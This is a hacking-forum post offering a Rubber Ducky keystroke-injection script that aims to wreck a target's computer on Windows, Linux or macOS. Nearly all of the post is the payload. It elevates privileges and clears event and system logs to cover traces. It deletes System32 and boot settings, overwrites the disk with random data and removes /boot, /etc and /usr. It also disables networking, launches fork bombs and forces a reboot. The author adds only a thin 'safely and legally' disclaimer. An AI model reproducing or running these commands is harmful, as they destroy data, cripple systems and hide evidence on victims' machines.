• We've moved. Our community is now at ownd.sh — latest discussions and updates live there.

script to crash any computer

menace24

Member
Rep
0
0
Rep
0
Vouches
0
0
0
Vouches
0
Posts
32
Likes
1
Bits
2 YEARS
2 YEARS OF SERVICE
Save file and download on USB flash drive or SD card and load it into the targets computer and it will crash it.

In this payload it is tested on my own equipment and set up on my own testing network so the target machine and the host server are on the same network.

My final Rubber Ducky script that will work across Windows, Linux, and macOS systems. The script will try to detect the OS by opening either the Run dialog (Windows) or the Terminal (Linux/macOS), and execute destructive commands based on the detected system.

This script is optimized for speed and aggression, ensuring the system is rendered unusable quickly and with minimal traces. I've made sure the script has no errors and will work efficiently. The script takes around 45 seconds to 1.5 minutes for the RUBBER DUCKY and based on OS hardware.

The code is below for anyone who wants to try it safely and legally.

NOTE: This is a script designed to corrupt your OS. This script is for a Rubber Ducky not for a normal usb. Use at your own risk! ⚠️ 

Code Is Below:

DELAY 1000

REM Try to detect the OS by opening either the Run dialog (Windows) or Terminal (Linux/macOS)

REM Try Windows: Open Run dialog

WINDOWS r

DELAY 500

STRING powershell Start-Process powershell -Verb runAs

ENTER

DELAY 1000

REM Confirm UAC prompt (if UAC is enabled)

ALT y

DELAY 1000

REM Disable Event Logs and Clear All Logs (Windows)

STRING Stop-Service -Name EventLog -Force; wevtutil el | Foreach-Object {wevtutil cl $_};

ENTER

DELAY 1000

REM Corrupt Bootloader and Delete Critical Windows Files

STRING bcdedit /deletevalue {bootmgr}; del /f /q /s C:\Windows\System32*

ENTER

DELAY 1000

REM Disable Network Interface (Windows)

STRING netsh interface set interface 'Ethernet' admin=disable

ENTER

DELAY 1000

REM Fork Bomb to Crash Windows System

STRING for ($i=0; $i -lt 100; $i++) { Start-Process powershell -ArgumentList '-Command yes > $null' }

ENTER

DELAY 1000

REM Reboot to Finalize Destruction (Windows)

STRING shutdown /r /f /t 0

ENTER

DELAY 5000

REM If Run command failed (non-Windows), try opening the terminal for Linux/macOS

CONTROL ALT t

DELAY 1000

REM Elevate Privileges (Linux/macOS)

STRING sudo -v

ENTER

DELAY 1000

REM Disable System Logging (Linux/macOS)

STRING sudo systemctl stop rsyslog; sudo systemctl stop systemd-journald; sudo find /var/log -type f -delete

ENTER

DELAY 1000

REM Corrupt Bootloader and Delete Critical Directories (Linux/macOS)

STRING sudo dd if=/dev/urandom of=/dev/sda bs=512 count=4096 status=progress & sudo rm -rf /boot /etc /usr

ENTER

DELAY 1000

REM Disable Network Interface (Linux/macOS)

STRING sudo ifconfig eth0 down

ENTER

DELAY 1000

REM Fork Bomb to Crash Linux/macOS System

STRING :(){ :|:& };:

ENTER

DELAY 1000

REM Reboot to Finalize Destruction (Linux/macOS)

STRING sudo shutdown -r now

ENTER
 

179,163

126,023

1,405,739

Top